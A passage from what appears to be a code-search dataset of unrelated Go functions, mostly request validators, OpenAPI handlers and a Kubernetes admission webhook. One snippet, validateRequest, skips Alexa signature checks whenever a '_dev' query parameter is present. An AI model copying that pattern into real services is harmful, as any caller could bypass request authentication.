\"stats.GetStatsHandler\")\n\t}\n\n\tif o.DiscoveryGetStatsEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetStatsEndpointsHandler\")\n\t}\n\n\tif o.StickRuleGetStickRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.GetStickRuleHandler\")\n\t}\n\n\tif o.StickRuleGetStickRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.GetStickRulesHandler\")\n\t}\n\n\tif o.StickTableGetStickTableHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_table.GetStickTableHandler\")\n\t}\n\n\tif o.StickTableGetStickTableEntriesHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_table.GetStickTableEntriesHandler\")\n\t}\n\n\tif o.StickTableGetStickTablesHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_table.GetStickTablesHandler\")\n\t}\n\n\tif o.TCPRequestRuleGetTCPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.GetTCPRequestRuleHandler\")\n\t}\n\n\tif o.TCPRequestRuleGetTCPRequestRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.GetTCPRequestRulesHandler\")\n\t}\n\n\tif o.TCPResponseRuleGetTCPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.GetTCPResponseRuleHandler\")\n\t}\n\n\tif o.TCPResponseRuleGetTCPResponseRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.GetTCPResponseRulesHandler\")\n\t}\n\n\tif o.TransactionsGetTransactionHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.GetTransactionHandler\")\n\t}\n\n\tif o.TransactionsGetTransactionsHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.GetTransactionsHandler\")\n\t}\n\n\tif o.ConfigurationPostHAProxyConfigurationHandler == nil {\n\t\tunregistered = append(unregistered, \"configuration.PostHAProxyConfigurationHandler\")\n\t}\n\n\tif o.ACLReplaceACLHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.ReplaceACLHandler\")\n\t}\n\n\tif o.BackendReplaceBackendHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.ReplaceBackendHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleReplaceBackendSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.ReplaceBackendSwitchingRuleHandler\")\n\t}\n\n\tif o.BindReplaceBindHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.ReplaceBindHandler\")\n\t}\n\n\tif o.DefaultsReplaceDefaultsHandler == nil {\n\t\tunregistered = append(unregistered, \"defaults.ReplaceDefaultsHandler\")\n\t}\n\n\tif o.FilterReplaceFilterHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.ReplaceFilterHandler\")\n\t}\n\n\tif o.FrontendReplaceFrontendHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.ReplaceFrontendHandler\")\n\t}\n\n\tif o.GlobalReplaceGlobalHandler == nil {\n\t\tunregistered = append(unregistered, \"global.ReplaceGlobalHandler\")\n\t}\n\n\tif o.HTTPRequestRuleReplaceHTTPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.ReplaceHTTPRequestRuleHandler\")\n\t}\n\n\tif o.HTTPResponseRuleReplaceHTTPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.ReplaceHTTPResponseRuleHandler\")\n\t}\n\n\tif o.LogTargetReplaceLogTargetHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.ReplaceLogTargetHandler\")\n\t}\n\n\tif o.ServerReplaceRuntimeServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.ReplaceRuntimeServerHandler\")\n\t}\n\n\tif o.ServerReplaceServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.ReplaceServerHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleReplaceServerSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.ReplaceServerSwitchingRuleHandler\")\n\t}\n\n\tif o.SitesReplaceSiteHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.ReplaceSiteHandler\")\n\t}\n\n\tif o.StickRuleReplaceStickRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.ReplaceStickRuleHandler\")\n\t}\n\n\tif o.TCPRequestRuleReplaceTCPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.ReplaceTCPRequestRuleHandler\")\n\t}\n\n\tif o.TCPResponseRuleReplaceTCPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.ReplaceTCPResponseRuleHandler\")\n\t}\n\n\tif o.TransactionsStartTransactionHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.StartTransactionHandler\")\n\t}\n\n\tif len(unregistered) > 0 {\n\t\treturn fmt.Errorf(\"missing registration: %s\", strings.Join(unregistered, \", \"))\n\t}\n\n\treturn nil\n}","func (o *GetRelationTuplesInternalServerErrorBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func validateRequest(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {\n\tdevFlag := r.URL.Query().Get(\"_dev\")\n\tisDev := devFlag != \"\"\n\tif !isDev && !IsValidAlexaRequest(w, r) {\n\t\tlog.Println(\"Request invalid\")\n\t\treturn\n\t}\n\tnext(w, r)\n}","func (ctx *Ctx) Validate() (err error) {\n\tif ctx.ESURL == \"\" {\n\t\treturn fmt.Errorf(\"you must specify Elastic URL\")\n\t}\n\tif strings.HasSuffix(ctx.ESURL, \"/\") {\n\t\tctx.ESURL = ctx.ESURL[:len(ctx.ESURL)-1]\n\t}\n\t// Warning when running for foundation-f project slug.\n\tif strings.HasSuffix(ctx.ProjectSlug, \"-f\") && !strings.Contains(ctx.ProjectSlug, \"/\") {\n\t\tPrintf(\"%s: running on foundation-f level detected: project slug is %s\\n\", DadsWarning, ctx.ProjectSlug)\n\t}\n\treturn\n}","func Swagger(c *gin.Context) {\n\tc.Header(\"Content-Type\", \"application/x-yaml\")\n}","func (swr *SearchWordsRequest) Validate(r *http.Request) (bool, *SearchWordsRespnse) {\n\n\tsearchWordsRespnse := new(SearchWordsRespnse)\n\n\t// Check if body is empty, because we expect some input\n\tif r.Body == nil {\n\n\t\tsearchWordsRespnse.Code = status.EmptyBody\n\t\tsearchWordsRespnse.Errors = append(searchWordsRespnse.Errors, Error{Code: status.EmptyBody, Message: status.Text(status.EmptyBody)})\n\t\treturn false, searchWordsRespnse\n\t}\n\n\t// Decode request\n\terr := json.NewDecoder(r.Body).Decode(&swr)\n\n\tdefer r.Body.Close()\n\n\tif err != nil {\n\t\tsearchWordsRespnse.Code = status.IncorrectBodyFormat\n\t\tsearchWordsRespnse.Errors = append(searchWordsRespnse.Errors, Error{Code: status.IncorrectBodyFormat, Message: status.Text(status.IncorrectBodyFormat)})\n\t\treturn false, searchWordsRespnse\n\t}\n\n\treturn true, searchWordsRespnse\n}","func (p *ProofOfServiceDoc) Validate(_ *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.UUIDIsPresent{Field: p.PaymentRequestID, Name: \"PaymentRequestID\"},\n\t), nil\n}","func (v *Validator) validateRequest(rw http.ResponseWriter, r *http.Request, validationInput *openapi3filter.RequestValidationInput) *oapiError {\n\n\tv.logger.Debug(fmt.Sprintf(\"%#v\", validationInput)) // TODO: output something a little bit nicer?\n\n\t// TODO: can we (in)validate additional query parameters? The default behavior does not seem to take additional params into account\n\n\trequestContext := r.Context() // TODO: add things to the request context, if required?\n\n\terr := openapi3filter.ValidateRequest(requestContext, validationInput)\n\tif err != nil {\n\t\tswitch e := err.(type) {\n\t\tcase *openapi3filter.RequestError:\n\t\t\t// A bad request with a verbose error; splitting it and taking the first line\n\t\t\terrorLines := strings.Split(e.Error(), \"\\n\")\n\t\t\treturn &oapiError{\n\t\t\t\tCode: http.StatusBadRequest,\n\t\t\t\tMessage: errorLines[0],\n\t\t\t\tInternal: err,\n\t\t\t}\n\t\tcase *openapi3filter.SecurityRequirementsError:\n\t\t\tif v.shouldValidateSecurity() {\n\t\t\t\treturn &oapiError{\n\t\t\t\t\tCode: http.StatusForbidden, // TOOD: is this the right code? The validator is not the authorizing party.\n\t\t\t\t\tMessage: formatFullError(e),\n\t\t\t\t\tInternal: err,\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\t// Fallback for unexpected or unimplemented cases\n\t\t\treturn &oapiError{\n\t\t\t\tCode: http.StatusInternalServerError,\n\t\t\t\tMessage: fmt.Sprintf(\"error validating request: %s\", err),\n\t\t\t\tInternal: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func WrapValidate(hfn http.HandlerFunc) http.HandlerFunc {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\n\t\turlVars := mux.Vars(r)\n\n\t\t// sort keys\n\t\tkeys := []string(nil)\n\t\tfor key := range urlVars {\n\t\t\tkeys = append(keys, key)\n\t\t}\n\t\tsort.Strings(keys)\n\n\t\t// Iterate alphabetically\n\t\tfor _, key := range keys {\n\t\t\tif validName(urlVars[key]) == false {\n\t\t\t\terr := APIErrorInvalidName(key)\n\t\t\t\trespondErr(w, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\thfn.ServeHTTP(w, r)\n\n\t})\n}","func (m *NoOneofs) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\treturn nil\n}","func HandlerCrashAppValidation(w http.ResponseWriter, r *http.Request) {\n\tif r.Body == nil {\n\t\thttp.Error(w, \"Please send a request body\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tproxy := httputil.NewSingleHostReverseProxy(remote)\n\tbuf, _ := ioutil.ReadAll(r.Body)\n\trdr := ioutil.NopCloser(bytes.NewBuffer(buf))\n\n\tvar msg CrashAppMessage\n\n\terrd := json.NewDecoder(rdr).Decode(&msg)\n\tif errd != nil {\n\t\thttp.Error(w, \"Invalid json data - can't decode\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tvalidated, verr := msg.Validate(r.URL.Path)\n\tif !validated {\n\t\tif verr != nil {\n\t\t\tfmt.Println(verr)\n\t\t\thttp.Error(w, verr.Error(), http.StatusBadRequest)\n\t\t} else {\n\t\t\thttp.Error(w, \"Validation Error\", http.StatusBadRequest)\n\t\t}\n\t\treturn\n\t}\n\n\t// proxy original request\n\tr.Body = ioutil.NopCloser(bytes.NewBuffer(buf))\n\tproxy.ServeHTTP(w, r)\n}","func (o *GetOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateDocument(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (extractor *SwaggerTypeExtractor) findARMResourceSchema(op spec.PathItem, rawOperationPath string) (*Schema, *Schema, bool) {\n\t// to decide if something is a resource, we must look at the GET responses\n\tisResource := false\n\n\tvar foundStatus *Schema\n\tif op.Get.Responses != nil {\n\t\tfor statusCode, response := range op.Get.Responses.StatusCodeResponses {\n\t\t\t// only check OK and Created (per above linked comment)\n\t\t\t// TODO: we should really check that the results are the same in each status result\n\t\t\tif statusCode == 200 || statusCode == 201 {\n\t\t\t\tschema, ok := extractor.doesResponseRepresentARMResource(response, rawOperationPath)\n\t\t\t\tif ok {\n\t\t\t\t\tfoundStatus = schema\n\t\t\t\t\tisResource = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif !isResource {\n\t\treturn nil, nil, false\n\t}\n\n\tvar foundSpec *Schema\n\n\tparams := op.Put.Parameters\n\tif op.Parameters != nil {\n\t\textractor.log.V(1).Info(\n\t\t\t\"overriding parameters\",\n\t\t\t\"operation\", rawOperationPath,\n\t\t\t\"swagger\", extractor.swaggerPath)\n\t\tparams = op.Parameters\n\t}\n\n\t// the actual Schema must come from the PUT parameters\n\tnoBody := true\n\tfor _, param := range params {\n\t\tinBody := param.In == \"body\"\n\t\t_, innerParam := extractor.fullyResolveParameter(param)\n\t\tinBody = inBody || innerParam.In == \"body\"\n\n\t\t// note: bug avoidance: we must not pass innerParam to schemaFromParameter\n\t\t// since it will treat it as relative to the current file, which might not be correct.\n\t\t// instead, schemaFromParameter must re-fully-resolve the parameter so that\n\t\t// it knows it comes from another file (if it does).\n\n\t\tif inBody { // must be a (the) body parameter\n\t\t\tnoBody = false\n\t\t\tresult := extractor.schemaFromParameter(param)\n\t\t\tif result != nil {\n\t\t\t\tfoundSpec = result\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif foundSpec == nil {\n\t\tif noBody {\n\t\t\textractor.log.V(1).Info(\n\t\t\t\t\"no body parameter found for PUT operation\",\n\t\t\t\t\"operation\", rawOperationPath)\n\t\t} else {\n\t\t\textractor.log.V(1).Info(\n\t\t\t\t\"no schema found for PUT operation\",\n\t\t\t\t\"operation\", rawOperationPath,\n\t\t\t\t\"swagger\", extractor.swaggerPath)\n\t\t\treturn nil, nil, false\n\t\t}\n\t}\n\n\treturn foundSpec, foundStatus, true\n}","func (o *DocumentUpdateMethodNotAllowedBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Error405Data\n\tif err := o.Error405Data.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func Validate(schema, document string) (result *gojsonschema.Result, err error) {\n\tschemaLoader := gojsonschema.NewStringLoader(schema)\n\tdocumentLoader := gojsonschema.NewStringLoader(document)\n\treturn gojsonschema.Validate(schemaLoader, documentLoader)\n}","func HandleInspectCollectionSchema(adminMan *admin.Manager, modules *modules.Modules, syncman *syncman.Manager) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\n\t\t// Get the JWT token from header\n\t\ttoken := utils.GetTokenFromHeader(r)\n\t\tdefer utils.CloseTheCloser(r.Body)\n\n\t\t// Check if the request is authorised\n\t\tif err := adminMan.IsTokenValid(token); err != nil {\n\t\t\t_ = utils.SendErrorResponse(w, http.StatusUnauthorized, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\t// Create a context of execution\n\t\tctx, cancel := context.WithTimeout(r.Context(), 60*time.Second)\n\t\tdefer cancel()\n\n\t\tvars := mux.Vars(r)\n\t\tdbAlias := vars[\"dbAlias\"]\n\t\tcol := vars[\"col\"]\n\t\tprojectID := vars[\"project\"]\n\t\tlogicalDBName, err := syncman.GetLogicalDatabaseName(ctx, projectID, dbAlias)\n\t\tif err != nil {\n\t\t\t_ = utils.SendErrorResponse(w, http.StatusInternalServerError, err.Error())\n\t\t\treturn\n\t\t}\n\t\tschema := modules.Schema()\n\t\ts, err := schema.SchemaInspection(ctx, dbAlias, logicalDBName, col)\n\t\tif err != nil {\n\t\t\t_ = utils.SendErrorResponse(w, http.StatusInternalServerError, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tif err := syncman.SetSchemaInspection(ctx, projectID, dbAlias, col, s); err != nil {\n\t\t\t_ = utils.SendErrorResponse(w, http.StatusInternalServerError, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\t_ = utils.SendResponse(w, http.StatusOK, model.Response{Result: s})\n\t\t// return\n\t}\n}","func (_ IP) OpenAPISchemaFormat() string { return \"\" }","func hookConfigurationSchema() *schema.Schema {\n\treturn &schema.Schema{\n\t\tType: schema.TypeList,\n\t\tOptional: true,\n\t\tMaxItems: 1,\n\t\tElem: &schema.Resource{\n\t\t\tSchema: map[string]*schema.Schema{\n\t\t\t\t\"invocation_condition\": func() *schema.Schema {\n\t\t\t\t\tschema := documentAttributeConditionSchema()\n\t\t\t\t\treturn schema\n\t\t\t\t}(),\n\t\t\t\t\"lambda_arn\": {\n\t\t\t\t\tType: schema.TypeString,\n\t\t\t\t\tRequired: true,\n\t\t\t\t\tValidateFunc: verify.ValidARN,\n\t\t\t\t},\n\t\t\t\t\"s3_bucket\": {\n\t\t\t\t\tType: schema.TypeString,\n\t\t\t\t\tRequired: true,\n\t\t\t\t\tValidateFunc: validation.All(\n\t\t\t\t\t\tvalidation.StringLenBetween(3, 63),\n\t\t\t\t\t\tvalidation.StringMatch(\n\t\t\t\t\t\t\tregexp.MustCompile(`[a-z0-9][\\.\\-a-z0-9]{1,61}[a-z0-9]`),\n\t\t\t\t\t\t\t\"Must be a valid bucket name\",\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}","func (rv *ResumeValidator) RegisterValidatorAPI() {\n\thttp.HandleFunc(\"/\", rv.homePage())\n\thttp.HandleFunc(\"/validateFile\", rv.validateFile())\n}","func (c serverResources) OpenAPISchema() (*openapiv2.Document, error) {\n\treturn c.cachedClient.OpenAPISchema()\n}","func webhookHandler(rw http.ResponseWriter, req *http.Request) {\n\tlog.Infof(\"Serving %s %s request for client: %s\", req.Method, req.URL.Path, req.RemoteAddr)\n\n\tif req.Method != http.MethodPost {\n\t\thttp.Error(rw, fmt.Sprintf(\"Incoming request method %s is not supported, only POST is supported\", req.Method), http.StatusMethodNotAllowed)\n\t\treturn\n\t}\n\n\tif req.URL.Path != \"/\" {\n\t\thttp.Error(rw, fmt.Sprintf(\"%s 404 Not Found\", req.URL.Path), http.StatusNotFound)\n\t\treturn\n\t}\n\n\tadmReview := v1alpha1.AdmissionReview{}\n\terr := json.NewDecoder(req.Body).Decode(&admReview)\n\tif err != nil {\n\t\terrorMsg := fmt.Sprintf(\"Failed to decode the request body json into an AdmissionReview resource: %s\", err.Error())\n\t\twriteResponse(rw, &v1alpha1.AdmissionReview{}, false, errorMsg)\n\t\treturn\n\t}\n\tlog.Debugf(\"Incoming AdmissionReview for %s on resource: %v, kind: %v\", admReview.Spec.Operation, admReview.Spec.Resource, admReview.Spec.Kind)\n\n\tif *admitAll == true {\n\t\tlog.Warnf(\"admitAll flag is set to true. Allowing Namespace admission review request to pass without validation.\")\n\t\twriteResponse(rw, &admReview, true, \"\")\n\t\treturn\n\t}\n\n\tif admReview.Spec.Resource != namespaceResourceType {\n\t\terrorMsg := fmt.Sprintf(\"Incoming resource is not a Namespace: %v\", admReview.Spec.Resource)\n\t\twriteResponse(rw, &admReview, false, errorMsg)\n\t\treturn\n\t}\n\n\tif admReview.Spec.Operation != v1alpha1.Delete {\n\t\terrorMsg := fmt.Sprintf(\"Incoming operation is %v on namespace %s. Only DELETE is currently supported.\", admReview.Spec.Operation, admReview.Spec.Name)\n\t\twriteResponse(rw, &admReview, false, errorMsg)\n\t\treturn\n\t}\n\n\tnamespace, err := clientset.CoreV1().Namespaces().Get(admReview.Spec.Name, v1.GetOptions{})\n\tif err != nil {\n\t\t// If the namespace is not found, approve the request and let apiserver handle the case\n\t\t// For any other error, reject the request\n\t\tif apiErrors.IsNotFound(err) {\n\t\t\tlog.Debugf(\"Namespace %s not found, let apiserver handle the error: %s\", admReview.Spec.Name, err.Error())\n\t\t\twriteResponse(rw, &admReview, true, \"\")\n\t\t} else {\n\t\t\terrorMsg := fmt.Sprintf(\"Error occurred while retrieving the namespace %s: %s\", admReview.Spec.Name, err.Error())\n\t\t\twriteResponse(rw, &admReview, false, errorMsg)\n\t\t}\n\t\treturn\n\t}\n\n\tif annotations := namespace.GetAnnotations(); annotations != nil {\n\t\tif annotations[bypassAnnotationKey] == \"true\" {\n\t\t\tlog.Infof(\"Namespace %s has the bypass annotation set[%s:true]. OK to DELETE.\", admReview.Spec.Name, bypassAnnotationKey)\n\t\t\twriteResponse(rw, &admReview, true, \"\")\n\t\t\treturn\n\t\t}\n\t}\n\n\terr = validateNamespaceDeletion(admReview.Spec.Name)\n\tif err != nil {\n\t\twriteResponse(rw, &admReview, false, err.Error())\n\t\treturn\n\t}\n\n\tlog.Infof(\"Namespace %s does not contain any workload resources. OK to DELETE.\", admReview.Spec.Name)\n\twriteResponse(rw, &admReview, true, \"\")\n}","func ProductValidationMiddleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tproduct := data.Product{}\n\t\terr := product.FromJSON(r.Body)\n\t\tif err != nil {\n\t\t\thttp.Error(w, \"unable to unmarshal json\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tctx := context.WithValue(r.Context(), KeyProduct{}, product)\n\t\tnextRequest := r.WithContext(ctx)\n\t\tnext.ServeHTTP(w, nextRequest)\n\t})\n}","func (r *DownloadFileRequest) Validate() error {\n\tif err := requireProject(r.GetProject()); err != nil {\n\t\treturn err\n\t}\n\tif err := requireCommittish(\"committish\", r.GetCommittish()); err != nil {\n\t\treturn err\n\t}\n\tif strings.HasPrefix(r.Path, \"/\") {\n\t\treturn errors.New(\"path must not start with /\")\n\t}\n\treturn nil\n}","func ReqValidatorFilter(w http.ResponseWriter, r *http.Request, _ httprouter.Params) bool {\n\tvar (\n\t\tcontentLen int\n\t\terr error\n\t)\n\tif s := r.Header.Get(\"Content-Length\"); s == \"\" {\n\t\tcontentLen = -1\n\t} else if contentLen, err = strconv.Atoi(s); err != nil ||\n\t\t(\"chunked\" == strings.ToLower(r.Header.Get(\"Transfer-Encoding\")) && contentLen > 0) {\n\t\tw.WriteHeader(400)\n\t\t_, _ = w.Write([]byte(\"Invalid request: chunked request with Content-Length\"))\n\t\treturn true\n\t}\n\n\tif \"trace\" == strings.ToLower(r.Method) {\n\t\tw.WriteHeader(405)\n\t\t_, _ = w.Write([]byte(\"Method Not Allowed\"))\n\t\treturn true\n\t}\n\n\tif \"options\" == strings.ToLower(r.Method) && util.IsNotLocalEnv() {\n\t\tw.WriteHeader(405)\n\t\t_, _ = w.Write([]byte(\"Method Not Allowed\"))\n\t\treturn true\n\t}\n\treturn false\n}","func (o *DocumentUpdateInternalServerErrorBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Error500Data\n\tif err := o.Error500Data.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (a *DocRouter) RegisterAPI(app *gin.Engine) {\n\tapp.GET(\"/swagger/*any\", ginSwagger.WrapHandler(swaggerFiles.Handler))\n}","func ValidateRequestFromContext(c *fiber.Ctx, router routers.Router, options *Options) error {\n\n\tr, err := adaptor.ConvertRequest(c, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\n\t// We failed to find a matching route for the request.\n\tif err != nil {\n\t\tswitch e := err.(type) {\n\t\tcase *routers.RouteError:\n\t\t\t// We've got a bad request, the path requested doesn't match\n\t\t\t// either server, or path, or something.\n\t\t\treturn errors.New(e.Reason)\n\t\tdefault:\n\t\t\t// This should never happen today, but if our upstream code changes,\n\t\t\t// we don't want to crash the server, so handle the unexpected error.\n\t\t\treturn fmt.Errorf(\"error validating route: %s\", err.Error())\n\t\t}\n\t}\n\n\t// Validate request\n\trequestValidationInput := &openapi3filter.RequestValidationInput{\n\t\tRequest: r,\n\t\tPathParams: pathParams,\n\t\tRoute: route,\n\t}\n\n\t// Pass the fiber context into the request validator, so that any callbacks\n\t// which it invokes make it available.\n\trequestContext := context.WithValue(context.Background(), ctxKeyFiberContext{}, c) //nolint:staticcheck\n\n\tif options != nil {\n\t\trequestValidationInput.Options = &options.Options\n\t\trequestValidationInput.ParamDecoder = options.ParamDecoder\n\t\trequestContext = context.WithValue(requestContext, ctxKeyUserData{}, options.UserData) //nolint:staticcheck\n\t}\n\n\terr = openapi3filter.ValidateRequest(requestContext, requestValidationInput)\n\tif err != nil {\n\t\tme := openapi3.MultiError{}\n\t\tif errors.As(err, &me) {\n\t\t\terrFunc := getMultiErrorHandlerFromOptions(options)\n\t\t\treturn errFunc(me)\n\t\t}\n\n\t\tswitch e := err.(type) {\n\t\tcase *openapi3filter.RequestError:\n\t\t\t// We've got a bad request\n\t\t\t// Split up the verbose error by lines and return the first one\n\t\t\t// openapi errors seem to be multi-line with a decent message on the first\n\t\t\terrorLines := strings.Split(e.Error(), \"\\n\")\n\t\t\treturn fmt.Errorf(\"error in openapi3filter.RequestError: %s\", errorLines[0])\n\t\tcase *openapi3filter.SecurityRequirementsError:\n\t\t\treturn fmt.Errorf(\"error in openapi3filter.SecurityRequirementsError: %s\", e.Error())\n\t\tdefault:\n\t\t\t// This should never happen today, but if our upstream code changes,\n\t\t\t// we don't want to crash the server, so handle the unexpected error.\n\t\t\treturn fmt.Errorf(\"error validating request: %w\", err)\n\t\t}\n\t}\n\treturn nil\n}","func (v *PathValidator) Validate(r *http.Request) error {\n\tpath := r.URL.Path\n\tif !strings.HasPrefix(v.Path, \"/\") {\n\t\tpath = strings.TrimPrefix(r.URL.Path, \"/\")\n\t}\n\treturn deepCompare(\"PathValidator\", v.Path, path)\n}","func Validate(ctx http.IContext, vld *validator.Validate, arg interface{}) bool {\n\n\tif err := ctx.GetRequest().GetBodyAs(arg); err != nil {\n\t\thttp.InternalServerException(ctx)\n\t\treturn false\n\t}\n\n\tswitch err := vld.Struct(arg); err.(type) {\n\tcase validator.ValidationErrors:\n\t\thttp.FailedValidationException(ctx, err.(validator.ValidationErrors))\n\t\treturn false\n\n\tcase nil:\n\t\tbreak\n\n\tdefault:\n\t\thttp.InternalServerException(ctx)\n\t\treturn false\n\t}\n\n\treturn true\n}","func (hook *Hook) Validate(extensionStages []string) (err error) {\n\tif hook == nil {\n\t\treturn errors.New(\"nil hook\")\n\t}\n\n\tif hook.Version != Version {\n\t\treturn fmt.Errorf(\"unexpected hook version %q (expecting %v)\", hook.Version, Version)\n\t}\n\n\tif hook.Hook.Path == \"\" {\n\t\treturn errors.New(\"missing required property: hook.path\")\n\t}\n\n\tif _, err := os.Stat(hook.Hook.Path); err != nil {\n\t\treturn err\n\t}\n\n\tfor key, value := range hook.When.Annotations {\n\t\tif _, err = regexp.Compile(key); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid annotation key %q: %w\", key, err)\n\t\t}\n\t\tif _, err = regexp.Compile(value); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid annotation value %q: %w\", value, err)\n\t\t}\n\t}\n\n\tfor _, command := range hook.When.Commands {\n\t\tif _, err = regexp.Compile(command); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid command %q: %w\", command, err)\n\t\t}\n\t}\n\n\tif hook.Stages == nil {\n\t\treturn errors.New(\"missing required property: stages\")\n\t}\n\n\tvalidStages := map[string]bool{\n\t\t\"createContainer\": true,\n\t\t\"createRuntime\": true,\n\t\t\"prestart\": true,\n\t\t\"poststart\": true,\n\t\t\"poststop\": true,\n\t\t\"startContainer\": true,\n\t}\n\tfor _, stage := range extensionStages {\n\t\tvalidStages[stage] = true\n\t}\n\n\tfor _, stage := range hook.Stages {\n\t\tif !validStages[stage] {\n\t\t\treturn fmt.Errorf(\"unknown stage %q\", stage)\n\t\t}\n\t}\n\n\treturn nil\n}","func (h HTTPHealthCheckArgs) validate() error {\n\treturn nil\n}","func WithAPIValidation(v api.StructValidator) Option {\n\treturn func(o *Manager) {\n\t\to.validator = v\n\t}\n}","func (o *DocumentUpdateBadRequestBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Document400Data\n\tif err := o.Document400Data.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func validateRestApi(ic astutils.InterfaceCollector) {\n\tif len(ic.Interfaces) == 0 {\n\t\tpanic(errors.New(\"no service interface found\"))\n\t}\n\tsvcInter := ic.Interfaces[0]\n\tre := regexp.MustCompile(`anonystruct«(.*)»`)\n\tfor _, method := range svcInter.Methods {\n\t\t// Append *multipart.FileHeader value to nonBasicTypes only once at most as multipart/form-data support multiple fields as file type\n\t\tvar nonBasicTypes []string\n\t\tcpmap := make(map[string]int)\n\t\tfor _, param := range method.Params {\n\t\t\tif param.Type == \"context.Context\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif re.MatchString(param.Type) {\n\t\t\t\tpanic(\"not support anonymous struct as parameter\")\n\t\t\t}\n\t\t\tif !v3.IsBuiltin(param) {\n\t\t\t\tptype := param.Type\n\t\t\t\tif strings.HasPrefix(ptype, \"[\") || strings.HasPrefix(ptype, \"*[\") {\n\t\t\t\t\telem := ptype[strings.Index(ptype, \"]\")+1:]\n\t\t\t\t\tif elem == \"*multipart.FileHeader\" {\n\t\t\t\t\t\tif _, exists := cpmap[elem]; !exists {\n\t\t\t\t\t\t\tcpmap[elem]++\n\t\t\t\t\t\t\tnonBasicTypes = append(nonBasicTypes, elem)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif ptype == \"*multipart.FileHeader\" {\n\t\t\t\t\tif _, exists := cpmap[ptype]; !exists {\n\t\t\t\t\t\tcpmap[ptype]++\n\t\t\t\t\t\tnonBasicTypes = append(nonBasicTypes, ptype)\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tnonBasicTypes = append(nonBasicTypes, param.Type)\n\t\t\t}\n\t\t}\n\t\tif len(nonBasicTypes) > 1 {\n\t\t\tpanic(\"Too many golang non-built-in type parameters, can't decide which one should be put into request body!\")\n\t\t}\n\t\tfor _, param := range method.Results {\n\t\t\tif re.MatchString(param.Type) {\n\t\t\t\tpanic(\"not support anonymous 